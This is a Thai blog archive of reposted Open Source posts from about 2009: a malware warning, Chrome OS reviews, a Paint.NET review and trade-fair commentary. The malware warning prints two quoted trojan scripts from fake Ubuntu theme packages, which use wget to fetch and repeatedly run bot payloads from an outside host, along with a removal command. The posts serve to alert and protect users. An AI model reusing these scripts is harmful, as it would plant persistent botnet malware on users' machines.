CBOX เสรีชน

แสดงบทความที่มีป้ายกำกับ Open Source แสดงบทความทั้งหมด
แสดงบทความที่มีป้ายกำกับ Open Source แสดงบทความทั้งหมด

31 ธันวาคม, 2552

เตือนภัย! Malware สำหรับ Ubuntu ออกมาเพ่นพ่านแล้ว

http://ubuntuclub.com/node/1571

ขอยกบทความของ akedemo เอาไว้เป็นอุทหรณ์ posted

สำหรับผู้ใช้ Ubuntu (และ GNU/Linux อื่นๆ) ที่เคยคิดว่า OS ของตัวเอง “ปลอดภัย 100%” เลยย่ามใจชอบคลิกติดตั้งอะไรมั่วซั่ว (เขียนอะไรเนี่ย เข้าตัวเองหมดเลย :-( ) โปรดระวังตัว ตอนนี้เริ่มมีคนสนใจทำ Malware สำหรับ Ubuntu แล้ว และไม่ใช่ Virus ที่รันผ่าน WINE ด้วย คราวนี้ของจริง

เมื่อวานนี้ มีคนใน Ubuntuforums ว่าเจอพฤติกรรมแปลกๆ จากไฟล์ .deb ที่ดาวน์โหลดมาจาก GNOME-Look.org ไฟล์แรกเป็น Screensaver ชื่อ “Waterfall” ต่อมาก็พบไฟล์โจทย์อันที่สองคือ Theme ที่ใช้ชื่อว่า “Ninja” ทั้งสองไฟล์นี้แฝง code ประหลาดๆ เอาไว้แทนที่จะเป็นไฟล์ติดตั้ง Screensaver หรือ Theme อย่างที่อ้าง ลักษณะ code ที่มีคนแจ้งไว้ใน http://ubuntuforums.org/showthread.php?t=1349678 มีลักษณะดังนี้

01 #!/bin/sh
02 cd /usr/bin/
03 rm Auto.bash
04 sleep 1
05 wget http://05748.t35.com/Bots/Auto.bash
06 chmod 777 Auto.bash
07 echo -----------------
08 cd /etc/profile.d/
09 rm gnome.sh
10 sleep 1
11 wget http://05748.t35.com/Bots/gnome.sh
12 chmod 777 gnome.sh
13 echo -----------------
14 clear
15 exit

ซึ่งจากการสืบค้นของ นักสืบ Pantip เอ๊ย ไม่ใช่ สมาชิกใน Ubuntuforums ก็พบว่า Script ทั้งหลายใน .deb package ดังกล่าวคือคำสั่งในการควบคุมเครื่องเหยื่อให้กลายเป็น bot สำหรับยิง DDoS ถ้าพูดกันง่ายๆ ตามภาษาของ OS ที่โดนเจาะจนพรุน (ซึ่งคุณก็รู้ว่าคือ OS อะไร) นี่คือไฟล์ Trojans สำหรับ Ubuntu นั่นเอง (และอาจจะมีผล GNU/Linux สาย Debian ตัวอื่นๆ ด้วย)

ถ้าเกิดมีคนไหนเผลอเอา Theme หรือ Screensaver ดังกล่าวมาลงไปแล้ว หรือ ไม่แน่ใจว่าเคยเผลอเอามาลงหรือเปล่า อย่าเพิ่งตกใจ เพราะวิธีแก้ไม่ยาก แค่รันคำสั่งข้างล่าง

sudo rm -f /usr/bin/Auto.bash /usr/bin/run.bash /etc/profile.d/gnome.sh index.php run.bash && sudo dpkg -r app5552

แต่อย่าไปรันคำสั่งนี้มั่วซั่ว กรุณามั่นใจก่อนว่าเครื่องคุณมี Trojans ตัวนี้จริงๆ ลักษณะสังเกตก็ไม่น่าจะยาก ตั้งสติแล้วทบทวนดูว่า

  • คุณเคยลง Theme หรือ Screensaver ที่เป็น .deb แต่ไม่มีรายการโผล่ Theme หรือ Screensaver อันใหม่ขึ้นมาให้เลือกหรือเปล่า
  • ลองเช็คใน System Monitor ดูว่าเครื่องคุณมีการรันโปรแกรมหรือสคริปต์ประหลาดๆ ที่ไม่รู้จักหรือเปล่า
  • และสคริปต์ดังกล่าวไปเรียกดาวน์โหลดหรือยิง packets ไปที่ไหนหรือไม่
  • ลองหาดูว่ามีไฟล์ /usr/bin/Auto.bash, /usr/bin/run.bash, /etc/profile.d/gnome.sh เหล่านี้อยู่ในเครื่องหรือเปล่า ถ้ามีลองเปิดดู (เปิดกับ text editor นะ อย่าไปกด Run) ว่าข้างในมีลักษณะคล้ายๆ แบบนี้หรือไม่
01 while :
02 do
03 rm /usr/bin/run.bash
04 cd /usr/bin/
05 wget http://05748.t35.com/Bots/index.php
06 wget http://05748.t35.com/Bots/run.bash
07 sleep 4
08 rm index.php
09 chmod 755 run.bash
10 command -p /usr/bin/run.bash
11 done

ถ้าทุกอย่างตรง โดยเฉพาะสองข้อหลัง ให้รู้ตัวไว้เลยว่าเครื่องคุณ “โดน” ซะแล้ว หลังจากรันคำสั่งแก้ไขแล้ว เพื่อความปลอดภัยขั้นสูงสุด ควรจะไปอ่านรายละเอียดจากกระทู้นี้ http://ubuntuforums.org/showthread.php?t=1349801 ใน Ubuntuforums ด้วย

ที่มา

  1. http://www.omgubuntu.co.uk/2009/12/malware-found-in-screensaver-for-ubuntu.html
  2. http://www.omgubuntu.co.uk/2009/12/yet-more-malware-found-on-gnome-look.html

 

ป.ล. อ่านเรื่องนี้แล้ว อย่าเพิ่งด่วนสรุปว่า Linux ไม่ปลอดภัย เพราะว่านี่ไม่ใช่การเจาะผ่านช่องโหว่ของ OS หรือของโปรแกรมใดๆ ทั้งสิ้น แต่เป็นการเจาะผ่านช่องโหว่ตัวสำคัญในระบบ คือ… ผู้ใช้ นั่นเอง หรือจะเรียกว่าเป็น Social Engineering รูปแบบหนึ่งก็ได้ ซึ่งทุก OS ในโลกมีโอกาสโดนเจาะแบบนี้เท่าเทียมกันหมด

ตรงกันข้าม อาจจะมองในอีกแง่ได้ด้วยว่า ธรรมชาติที่เป็น Open Source และชุมชนผู้ใช้เป็นสิ่งที่ทำให้ GNU/Linux OS แข็งแกร่งและปลอดภัยกว่า OS อื่นๆ ที่เป็น Closed source, Proprietary มากมาย เพราะการเผยแพร่ Source code ทำให้ผู้ใช้ทุกคนช่วยกันสอดส่องมองหาโปรแกรมที่ประพฤติตัวแปลกๆ ได้ ผลที่ได้ก็คือ ไม่ว่าจะเป็นช่องโหว่, malwares หรือ trojans สามารถถูกตรวจพบและแก้ไขได้อย่างรวดเร็ว เพื่อยืนยันความจริงข้อนี้ ผมขอบอกว่า ภายในเวลาไม่ถึง 24 ชั่วโมงนับจากมีคนตรวจพบ ไฟล์ทั้งสองได้ถูกลบออกจาก GNOME-Look.org เรียบร้อยโรงเรียนลินุกซ์ไปแล้ว

หลังจากนี้ก็ต้องมาดูกันว่า เว็บ GNOME-Look.org และผองเพื่อนในเครือ Opendesktop.org จะมีมาตรการในการป้องกันการกระทำผิดลักษณะนี้อย่างไร



24 พฤศจิกายน, 2552

กูเกิลจ้าง Canonical พัฒนา Chrome OS

http://www.blognone.com


Chris Kenyon ผู้บริหารของบริษัท Canonical ผู้พัฒนา Ubuntu ได้เปิดเผยผ่านบล็อกของบริษัทว่า Canonical ได้ทำงานกับกูเกิลในโครงการ Chrome OS ด้วย โดยรูปแบบเป็นกูเกิลจ้างพัฒนา เขาไม่ได้ระบุว่า Canonical รับผิดชอบในส่วนไหนบ้าง แต่คาดว่าเป็นระบบพื้นฐานของลินุกซ์ซึ่งเป็นความเชี่ยวชาญของ Canonical อยู่แล้ว ข้อมูลจาก ComputerWorld บอกว่า Canonical ร่วมงานกับกูเกิลมาตั้งแต่การเปิดตัว Chrome OS เมื่อเดือนกรกฎาคมปีนี้

Sundar Pichai กับ Linus Upson ซึ่งเป็นนักพัฒนาของกูเกิลเองก็ระบุว่า กูเกิลพยายามจะใช้ "ส่วนประกอบที่มีอยู่แล้ว" ให้มากที่สุดเท่าที่เป็นไปได้ใน Chrome OS

Chris Kenyon อธิบายถึงเป้าหมายของ Ubuntu กับ Chrome OS ว่าอยู่กันคนละตลาดเลย แม้ว่าจะใช้ส่วนประกอบร่วมกันอยู่จำนวนหนึ่ง และ Canonical จะร่วมพัฒนาระบบปฏิบัติการทั้งสองตัวต่อไป

ที่มา - ComputerWorld



แต่งภาพระดับ Photoshop ด้วย Paint.NET

http://www.freeware.in.th

ในบ้านเรา ถ้าพูดถึงโปรแกรมตกแต่งรูปภาพที่บรรดาสตูดิโอลบสิวใช้งานกันอย่างเป็นล่ำ เป็นสัน ก็คงไม่พ้น Photoshop ซึ่ง เก่ง , Plugin เยอะ แต่ผมเชื่อกันเลยว่า บรรดาสตูดิโอแต่งภาพ ลบสิวเหล่านั้น ส่วนใหญ่ละเมิดลิขสิทธิ์ทาง Adobe ในการใช้งาน Adobe Photoshop ทั้งสิ้น จะมีไหม โปรแกรมฟรีแวร์ที่มีความสามารถในการทำงานระดับ Photoshop แล้วใช้งานไม่ยาก ก็เลยไปหามาฝากกัน (จริงๆ โปรแกรมตัวนี้เข้าคิวจะรีวิวนานแล้ว แต่ก่อนหน้านี้มีปัญหาภาษาไทย เลยยังไม่เอามารีวิวครับ)


โปรแกรมตัวที่ผมเอามาแนะนำนี้ เป็นฟรีแวร์ขนาดเล็กมากๆ ขนาดเพียงแค่ 4.8 Mb เท่านั้น แต่ความสามารถที่ได้รับมาค่อนข้างเยอะพอสมควร Paint.NET ถูกพัฒนาขึ้นโดยบริษัท dotPDN LLC ซึ่งเป็นโปรแกรมทำงาน Graphic แบบ Raster ซึ่งตอนแรกสุดเป็นเพียง Project ของนีกศึกษามหาวิทยาลัย Washington State ตอน xu 2004 เท่านั้น ปัจจุบัน Paint.NET ก็พัฒนาขึ้นสู่เวอร์ชั่น 3.5.1 แล้ว ซึ่งก็รองรับการทำงานกับ Windows 7 เรียบร้อยแล้ว

[ เกร็ดความรู้ : โปรแกรมจัดการ Graphic ในโลกนี้มี 2 แบบ แบบแรกคือ Raster ซึ่งเป็นระบบภาพแบบที่ใช้จุดหลายๆจุด ประกอบรวมขึ้นมาเป็นภาพ ข้อดี คือ ภาพสมจริง สีสวย แต่ขยายแล้วแตก อีกแบบคือ Vector คือเป็นโปรแกรม Graphic ลักษณะเชิงเส้น ข้อดีคือขยายแล้วไม่แตกครับ โปรแกรมของ Adobe ที่ทำงานด้าน Raster ก็คือ Photoshop ส่วนของทาง Vector ก็คือ Adobe Illustrator ครับ ]


ตัวโปรแกรมกินสเป๊คเครื่องน้อยมากครับ จากเท่าที่ดูใน Requirement ในเว็บ ทางทีมพัฒนาบอกว่า CPU 800Mhz กับ แรม 512Mb ก็ทำงานโปรแกรมนี้ได้ลื่นๆแล้ว แอบมีเขียนในเว็บไซต์ของผู้ผลิตด้วยว่า ต่อให้เป็น Netbook ก็สามารถใช้งานได้เร็วเท่า CPU Xeon 8 Core.. โอววววว

ความสามารถของ Paint.NET

  • ใช้ง่าย และไอค่อนคล้ายๆกับ Photoshop (มีคนถามว่าทำไม ไม่เอา icon แบบ Photoshop จะได้ใช้ความรู้เดิมสมัยแอบใช้ Photoshop ไปเลย … เหตุผลก็คือ ทาง Adobe เค้าจดลิขสิทธิ์ไว้น่ะสิครับ)
  • รวดเร็ว แบบที่เค้าบอกไว้ว่า Netbook ก็ใช้ได้ ซึ่งผมเองก็ลองเล่นดูแล้วมันก็เร็วจริงๆนะ
  • รองรับการทำงานแบบ Layer เหมือน Photoshop
  • มี Effect หลายแบบ ให้ใช้เหมือน Photoshop
  • มีเครื่องมือวาด , เครื่องมือเกลี่ยสี , เครื่องมือ Clone และ เครื่องมือ พื้นฐานเหมือน Photoshop ทุกประการ
  • ถ้างงแล้วใช้ไม่เป็น ลองเข้าไปหาข้อมูลใน Forum ของทาง Paint.NET อันไหนไม่รู้จะเริ่มยังไงก็สามารถดูพวก Tutorial ได้ด้วย
  • มีระบบ Update อัตโนมัติ
  • สามารถเสริม Plugin สารพัดแบบ
  • มีระบบ History ของแต่ละ Action ที่เราทำ .. ซึ่งสามารถมี Action ได้ไม่จำกัด
  • ทดสอบภาษาไทยแล้วไม่ขี่เหมือนปัญหา Photoshop เก่าๆ


ใครคิดว่าโปรแกรมฟรีๆจะทำงานเจ๋งๆไม่ได้ ก็ลองดูรูปตัวอย่างข้างล่างได้นะครับ จะได้ไม่มีข้ออ้างว่า โปรแกรมไม่ดีเลยต้องใช้เถื่อนต่อไป เพราะผมดูแต่ละงานแล้ว เจ๋งๆทั้งนั้นเลยครับ อ้อ ใครใช้แล้วชอบใจรู้สึกว่า ถ้าเสียตังค์ทั้งที ก็เสียตังค์แบบเงินบริจาคให้กับโปรแกรมแบบนี้ดีกว่า ก็ไปบริจาค เงินค่าสนับสนุนให้กับทาง dotPDN LLC ได้ ทางนี้ เลยนะครับ


รายละเอียดโปรแกรม

ชื่อ : Paint.NET

โดย : dotPDN LLC

ขนาด : 4.8Mb

ดาวน์โหลด : http://www.getpaint.net



มาทำ Chrome OS ใช้เองกัน - ตอนก้าวสู่ประตู Chrome OS

http://ubuntuclub.com

อัพเดท: คุณ QQ บิวท์เสร็จและรีวิวเล็กๆ มาให้ชมกันครับ

http://forum.ubuntuclub.com/forum/topic,12115.0.html

........................

เห็นรีวิวในไทยมาหลายสำนักซึ่งเขียนมาจากต้นข่าวอีกที แต่อาจยังไม่มีสำนักไหนในไทยที่ทำ Chrome OS มาใช้เอง

เรื่องของเรื่องคือ Google ร่วมมือกับนักพัฒนา Ubuntu เพื่อทำ Chromium OS (Chromium คือชื่อเรียก Chrome ใน Linux) และผมอ่านเจอมาว่า Karmic เอื้อในการสร้าง Chromium OS ที่สุด

งานนี้เลยลงมือทำ Chromium OS ดู

โค้ดต้นฉบับและวิธีการทำ อ่านได้จากที่นี่ครับ

http://sites.google.com/a/chromium.org/dev/chromium-os/building-chromium...

<ระหว่างการทำ มีปัญหาในการ build ซึ่งเกือบจะยอมแพ้ แต่เมื่อค่อยๆ คิด และแก้ปัญหา ทำให้การ build ลุล่วงไปได้>

ไว้มือแม่นๆ หน่อย ผมจะโพสต์วิธีการทำเป็นไกด์ไลน์ภาษาไทยครับ (ผมรู้สึกว่าที่เว็บไซต์มันวกวน กว่าจะเริ่ม build ได้)

รูปครับ...ชะแว้ง

ปัญหาที่สำคัญที่รอให้ผมแก้ปัญหาอยู่ เป็นปัญหาที่ผู้ใช้ส่วนมากในโลกพบเมื่อดาวน์โหลดมาลอง คือ ไม่สามารถ log in ได้ โดย Chromium OS แจ้งว่า Network ไม่ได้ต่อ (แม้จะเสียบสายแลนก็ตาม) และ log in แบบ off line ไม่ได้

จะลอง build เป็นระยะดูครับ ว่าปัญหาถูกแก้ไขไปหรือยัง หรือมีอะไรน่าสนใจ ไว้เข้าใช้งานได้ อาจจะมาเล่าสู่กันฟัง ทั้งนี้ตามสไตล์ผม ผมวางแผนว่าจะเอา Chromium OS ปรับแต่งทำเป็น Live CD ที่ใช้แบบ off line ได้ด้วย



มาลุย Chromium OS กับภาษาไทยกันครับ แถมรีวิวเล็กน้อย

http://forum.ubuntuclub.com

แนะนำว่าให้ทดสอบด้วยการติดตั้งลง hdd หรือ flash drive 4gb+ ครับ ถ้าใช้ใน vbox หรือ vmware จะค้างเอาง่ายๆ  :P

เท่าที่ลองทดสอบดูถือว่าบูตได้ไวมากๆ 4-7 วิ ก็เข้ามาที่หน้า login แล้วสำหรับเครื่องกลางเก่ากลางใหม่ของผม

ส่วนด้านล่างนี้จะเป็นการจับหน้าจอมาจาก vmplayer ครับ เพื่อให้ได้ภาพที่ดีกว่ากล้องมือถือห่วยๆของผม







เริ่มต้นด้วยการแสดงผลเว็บ blognone.com เป็นภาษาไทยแล้ว ด้วยการ add fonts ไทยเข้าไป







อันนี้ก็ google apps ครับยังไม่มีอะไรน่าสนใจเท่าไร







ส่วนนี้น่าจะเป็น workspace ของ chromium os เขาหล่ะ (กด F12 ครับ)







กว่าจะหาเจอเจ้า terminal เนี่ย สีดำๆครับ (ctrl+alt+t)






อันนี้ terminal แบบเต็มๆหน้า เย้ยยย  :P







ตัวนี้เป็น keyboard help ครับ (กด f8) ตามหา key ต่างๆได้เลยแต่ยังใช้ได้ไม่ครบ  :P (อันนี้ทดสอบใน vmplayer มันเลยขาดๆไปไม่เต็มจอ)






อันสุดท้ายก็ทดสอบพิมพ์ภาษาไทย ต้องเข้าไปลุยใน x11.org ครับ






ลืมส่งให้ดู chromium revision ล่าสุดครับ  ;D



ทดสอบ Chrome OS ตัวจริงเสียงจริง

ข่าวใหญ่ในรอบสัปดาห์นี้ คงไม่มีอะไรดังไปกว่าการเปิดตัว Chrome OS แนวคิดอันล้ำลึกของกูเกิลที่ต้องการให้ทุกอย่างอยู่บน cloud เป็นที่วิพากษ์วิจารณ์ไปทั่วทั้งในทางเห็นด้วยและไม่เห็นด้วย ก่อนที่ผมจะวิจารณ์ Chrome OS ในโอกาสต่อๆ ไป ตอนนี้เรามาลองดูกันก่อนว่า Chrome OS ตัวจริงๆ จับต้องได้มันเป็นยังไงบ้าง

ขั้นตอนไม่ยากอะไรครับ หลังจากซอร์สโค้ดของ Chrome OS ถูกนำขึ้นบน chromium.org ก็มีคนนำมาคอมไพล์แจกกันทั่วไปหลายเวอร์ชัน รายละเอียดแบบละเอียดสุดๆ อ่านได้จาก TechCrunch: Want To Try Out Google Chrome OS For Yourself? Here’s How สรุปคร่าวๆ คือมีไฟล์ .vmdk ให้โหลดหลายทาง (ผมใช้เวอร์ชันที่เป็น torrent ใน The Pirate Bay) นำมารันบน VMware Player หรือ VirtualBox ก็ได้แล้ว (กรณีนี้ผมใช้ VirtualBox)

chrome-os-boot

ขั้นตอนการติดตั้งคงไม่ต้องมาเล่าซ้ำ เมื่อโหลด virtual machine ขึ้นมาจะพบหน้าจอล็อกอินเป็นอันดับแรก ผมลองจับเวลาแล้วได้ประมาณ 12 วินาทีนับจากเริ่มบูต virtual machine ยังไม่ได้ 4 วินาทีตามโฆษณา แต่อย่าลืมว่านี่เป็น VirtualBox แถมเป็น Chrome OS รุ่นทดสอบของทดสอบ

ให้ใส่รหัสผ่านของ Gmail เพื่อความปลอดภัยผมจะใช้บัญชี blognonebook ที่สร้างไว้เพื่อสั่งหนังสือ Blognone Year Book 2008 คราวนู้น

default-screen

หน้าจอแรกสุดของ Chrome OS จะเป็นไปดังภาพ ไม่มีเดสก์ท็อป มีแต่ Chrome (หรือพูดให้ถูกคือ Chromium) เปิดแบบเต็มหน้าจอพร้อมกับแท็บอีก 4 แท็บ แท็บแรกสุดคือหน้าจอ Welcome ซึ่งมันก็อยู่บนเว็บ!!! ต้องล็อกอินด้วย Google Account ก่อนถึงเข้าได้

default-screen-calendar

แท็บถัดมาคือ Gmail กับ Google Calendar ถูกแสดงเป็นแท็บเล็กๆ คือเป็นแท็บที่ถูกปักหมุดค้างไว้

default-screen-newtab

แท็บสุดท้ายคือหน้า New Tab ของ Chrome ซึ่งก็เหมือน Chrome รุ่นปกติทุกประการ

chrome-os-homescreen

กลับมาที่แท็บแรก เมื่อล็อกอินแล้วจะพบกับหน้าจอเรียกโปรแกรมของ Chrome OS (ซึ่งมันก็คือเว็บแอพพลิเคชันนั่นเอง) แบ่งเป็น 4 แถว

  • แถวแรกคือ อีเมลและบริการเด่นของกูเกิล เช่น Gdocs ที่น่าสนใจคือมีไอคอนของ Hotmail/Yahoo! Mail ด้วย แต่เมื่อกดที่ Hotmail กลับพาเราไปยังหน้าของ Gmail แทน (เข้าใจว่าเป็นบั๊ก กูเกิลคงไม่จงใจขนาดนั้น)
  • แถวที่สอง เว็บบันเทิงทั้งหลาย ทั้งของกูเกิลเองคือ YouTube/Picasa และบริการของคนอื่นๆ เช่น Hulu/Pandora
  • แถวที่สาม อันนี้น่าสนใจที่สุด มันคือโปรแกรมพิเศษที่มีเฉพาะ Chrome OS ได้แก่พวก utility ต่างๆ เดี๋ยวจะกล่าวต่อไป
  • แถวสุดท้ายยังจัดหมวดแปลกๆ มีทั้ง Google Books, social network และเกมหมากรุก มีลิงก์ Get more ด้วยแต่ยังใช้งานไม่ได้

chrome-os-panel

มาดูที่แถวที่สามกันครับ สิ่งที่มีให้ลองคือ Contacts, Calculator, To-do list และ Notepad ผมลองกดที่ To-do list จะเห็น panel โผล่ขึ้นมาที่มุมขวาล่างของหน้าต่างๆ คล้ายกับหน้าจอสนทนาของ Gmail

ปรากฎว่ามันยังใช้งานไม่ได้ ต้องมีอีเมลที่เป็น @google.com เท่านั้น สังเกตที่ URL ตรงมุมขวาล่างสุด มันทำงานอยู่บน appspot.com

chrome-os-gtalk-panel

โปรแกรม Calculator และ Notepad เปิดแล้วเป็น panel ขาวไม่โหลดอะไร โปรแกรมเดียวที่ใช้งานได้คือ Contacts ซึ่งมันก็คือ Google Talk นั่นเอง (คงยกโค้ดมาเลยดื้อๆ) ทดลองแล้วคุยได้

chrome-os-flash-chess

ข้ามไปแถวสี่ครับ ความน่าสนใจคือเกมหมากรุก Chess พอคลิกลิงก์แล้วจะเข้าไปที่ flashchess3.com ถ้าดูจากภาพหรือ URL น่าจะเดาได้ว่า มันมี Flash Player มาให้ในตัว!!!

chrome-os-flash-version

เลขเวอร์ชันเป็น 10.0.32.18

chromium-about

ส่วนเลขเวอร์ชันของ Chromium เป็น 4.0.253.0

chrome-os-pin-tab

มาดูที่ส่วนอื่นๆ กันบ้าง ลองคลิกขวาที่แท็บ จะเห็นตัวเลือก Pin Tab มาให้

chrome-os-battery-icon

ที่มุมขวาบนมีนาฬิกาและไอคอนเล็กๆ อีก 3 อัน เริ่มจากซ้ายคือแสดงสถานะแบตเตอรี่

chrome-os-network-icon

ถัดมาอันกลาง สถานะของเครือข่าย ทั้ง Wi-Fi และ Ethernet

chrome-os-system-menu

สุดท้ายเป็น Options ซึ่งเป็นอันเดียวกับ Options ของ Chrome กดปุ่มรูปประแจของ Chrome ก็ได้ผลแบบเดียวกัน

chrome-os-option

เข้ามาที่ Options จะมีแท็บพิเศษของ Chrome OS เพิ่มเข้ามา ซึ่งมีแค่ตั้งเขตเวลา และตั้งค่าทัชแพด

chrome-os-option-search

อันอื่นยังอยู่ครบ สามารถเปลี่ยน search engine เป็น Yahoo!/Bing ได้ด้วย

chrome-os-bing

ทดลองเปลี่ยนเป็น Bing ก็ได้ผลครับ Chrome OS ที่ใช้ Bing เป็น default มีจริง!

chrome-os-gtk-theme

ลองเปลี่ยนธีมมาตรฐานของ Chrome เป็นธีมของ GTK+ ได้ (สังเกตตรงไอคอนที่ปุ่ม Back/Forward)

chrome-blognone

และแน่นอนแบบที่หลายคนน่าจะเดาได้ว่า มันอ่านภาษาไทยไม่ได้ ปัญหานี้จะยิ่งรุนแรงเพราะ Chrome OS ตัวจริงนั้น encrypt ส่วนของระบบปฏิบัติการเอาไว้ ไปแก้มั่วๆ เอาฟอนต์ใส่เองไม่ได้ นักพัฒนาชาวไทยมีทางเลือกเดียวคือต้องเข้าไปพัฒนาภาษาไทยร่วมกับกูเกิล

ประเด็นอื่นๆ

เวอร์ชันที่ผมใช้นี่ไม่เสถียรอย่างแรง ค้างบ่อยมาก จับภาพแค่ในบทความนี้ผมต้องบูตใหม่ประมาณ 10 ครั้ง ส่วนการตอบสนองก็ยังช้า อย่างไรก็ตาม ปัญหาเรื่องเสถียรภาพและความเร็วเป็นสิ่งที่กูเกิลต้องแก้อยู่แล้ว อีกไม่นานคงมีรุ่นเบต้าสำหรับทดสอบในวงกว้างออกมา แต่ถ้าให้แนะนำคือตอนนี้ยังไม่ต้องโหลดมาลอง ไม่คุ้มค่าแก่การโหลด

อีกประเด็นคือผมหาปุ่มปิดเครื่องไม่เจอ (กูเกิลออกแบบมาให้กดปิดที่ฮาร์ดแวร์?) ตอนนี้ใช้วิธีสั่งปิดใน VirtualBox แทน

Chrome OS มีแค่นี้จริงๆ และผมเชื่อว่ารุ่นสุดท้ายคงมีอะไรไม่มากไปกว่านี้เท่าไร เห็นภาพเบื้องต้นแล้ว คิดยังไงกันบ้างครับ?



08 มีนาคม, 2552

คอมมาร์ทเปลี่ยนไป



งานคอมมาร์ทที่ผ่านมาทำให้ ผมเห็นการหยิบยื่นซอฟต์แวร์ถูกกฏหมาย เช่น Microsoft Windows XP, Microsoft Windows Vista, Microsoft Office 2003 และอื่นๆ ให้ผู้บริโภคเห็นว่าซอฟต์แวร์ที่ถูกกฏหมายและมีลิขสิทธิ์ถูกต้องมีหน้าตา เป็นอย่างไร ทราบประโยชน์ที่ได้จากการใช้ซอฟต์แวร์ถูกกฏหมาย ซึ่งไม่ใช่เพียงแค่ไม่โดนจับกุมข้อหาละเมิดลิขสิทธิ์ แต่ยังได้รับสิทธิพิเศษอื่นๆ อีกมากมายที่บรรดาค่ายซอฟต์แวร์พร้อมประเคนให้ ในส่วน Penary Hall มีตัวแทนจำหน่ายคอมพิวเตอร์พร้อม Windows ซึ่งติดมากับเครื่องหากดูราคาเครื่องพร้อมซอฟต์แวร์ที่ถูกกฏหมายและมี ลิขสิทธิ์ถูกต้องราคาก้อจะกระโดดไปหลายพันเลยทีเดียว ยิ่งตัวแทนจำหน่ายชอบใส่เลข 9 ต่อท้าย เข้าไปยิ่งทำให้ดูราคาเครื่องแพงขึ้นไปอีก หลายๆ คนเดินผ่านเพื่อดูและชื่นชมซอฟต์แวร์ถูกกฏหมาย มีคนซื้อบ้างไม่ซื้อบ้างก้อไม่ว่ากัน สำหรับผมแล้วขอเครื่องที่ไม่มี Microsoft Windows ดีกว่าครับ ราคาเครื่องจะได้ลดลงอีกหน่อย

การ เปิดตัวของบูธตัวแทนจำหน่ายคอมพิวเตอร์ยี่ห้อดังพร้อมประกาศว่ามีมาพร้อมกับ ซอฟต์แวร์ถูกกฏหมาย (OEM) นั่นหมายความว่าผู้ประกอบการพยายามรณรงค์และให้ความสำคัญเรื่องลิขสิทธิ์ของ ซอฟต์แวร์มากขึ้น (มองในแง่ดี) แต่อย่างไรก้อตามการเพิ่มเลข 9 ต่อท้าย มันก้อไม่ได้ช่วยให้ราคามันดูถูกลง เพราะผู้บริโภคเองต้องการสินค้าในราคาที่รับได้ และมีกำลังพอที่จะซื้อและผ่อนได้ แต่ที่น่าแปลกใจ ผมไม่เห็น Linux ในงานนี้เลย แม้แต่ใน Netbook อย่าง HP, Acer, MSI และ DELL มันเกิดอะไรขึ้น? ทั้งๆ ที่งานครั้งที่แล้วเดินๆ ไปก้อเจอ Ubuntu, Mandriva, TLE หรือว่าตัวแทนจำหน่ายการพร้อมใจกันผลักดันให้เกิดกระแสการใช้ของแท้ที่ถูก กฏหมายและมีลิขสิทธิ์ถูกต้อง นั่นก้อเป็นเรื่องที่ดีกับประเทศเราอย่างหนึ่ง จะได้ลดระดับประเทศที่มีการละเมิดลิขสิทธิ์จากอันดับ 5 มาเป็นอันดับท้ายๆ ของตารางกันบ้าง

การลดราคา เช่าซื้อ ผ่อนชำระ ซอฟต์แวร์ลิขสิทธิ์เป็นแคมเปนจ์จูงใจผู้ซื้อได้เป็นอย่างดี ซึ่งไหนๆ ก้อจะซื้อเรื่องแบบผ่อนหรือเช่าซื้อหลายๆ เครื่องอยู่แล้ว การผ่อนชำระค่าเครื่องพร้อมซอฟต์แวร์ลิขสิทธิ์ ดูจะเป็นประโยชน์มากกว่าการขโมย แครก คัดลอก ซอฟต์แวร์ลิขสิทธิ์เพื่อเอาไปใช้งาน จริงมั๊ยครับ จากการสังเกตในส่วนแสดงเครื่องพร้อมซอฟต์แวร์ถูกกฏหมาย มักจะไม่มีเครื่องที่เป็น Linux OEM อย่าง Novell หรือ Ubuntu อยู่เลย เรียกได้ว่าทั้ง Hall เป็นดินแดนแห่ง Microsoft ไปเลยทีเดียว ผมก้อเดินย่ำไปทุกๆ ที่ที่มีเครื่องหมาย Microsoft แถมได้น้ำดื่ม Microsoft มาดับร้อนดับกระหายอีก

งานคอมมาร์ทปีนี้ผมไม่มีอะไรติด ไม้ติดมือกลับบ้านเพราะจัดเอาช่วงกลางๆ เดือนซึ่งเงินค่าตอบแทนหมดแล้ว เลยไม่ได้ซื้ออะไรเป็นของขวัญให้ตัวเอง แต่ได้เห็นการหยิบยื่นและผลักดันซอฟต์แวร์ถูกกฏหมายจากตัวแทนจำหน่าย คอมพิวเตอร์ยี่ห้อต่างๆ ผมก้ออิ่มใจแล้วครับ สำหรับซอฟต์แวร์โอเพนซอร์สก้อคงต้องช่วยกันพัฒนาและผลักดันให้เกิดประโยชน์ และตอบปัญหาของผู้ใช้ได้อย่างแท้จริงกันต่อไป ไม่ว่าจะเป็นซอฟต์แวร์ในชุด สุริยัน, จันทรา, โอเพนออฟฟิส และอื่นๆ ซึ่งผมเองจะทะยอยมาเขียนเป็นบทความ ความเห็น และ How To ในโอกาสต่อๆ ไปครับ

http://www.thaiopensource.org/node/677

พัฒนาซอฟต์แวร์เป็นโอเพนซอร์สทำไม?

คนไทยเก่งๆ มีเยอะ แต่ที่น่าแปลกที่คนไทยไม่ค่อยเปิดเผยโค้ด เป็นคำพูดจากเพื่อนที่อยู่แดนไกลถึงประเทศอินเดีย เขาชอบประเทศไทยเพราะคิดว่าการทำงานด้านซอฟต์แวร์กับคนไทยสบายใจมากกว่าการ พัฒนาซอฟต์แวร์กับคนประเทศอื่นๆ ผมไม่ทราบว่าทำไม แต่คำถามที่เพื่อนของผมมักถามจนผมมองเห็นว่าเป็นประเด็น คือ พัฒนาซอฟต์แวร์แล้วเปิดเป็นโอเพนซอร์สทำไม? นั่นสิ คำตอบคงหลากหลาย บ้างก้อว่า เอามันส์ ทำเป็นงานอดิเรก ทำเพื่อการค้า หวังรวย ฯลฯ ทุกๆ คำตอบที่ได้ยินมาไม่เห็นมีคำตอบไหนที่โดนประเด็นและจุดมุ่งหมายของการพัฒนา ซอฟต์แวร์แบบโอเพนซอร์สเลยสักคำตอบเดียว คุณล่ะพัฒนาซอฟต์แวร์แล้วเปิดเป็นโอเพนซอร์สทำไม?

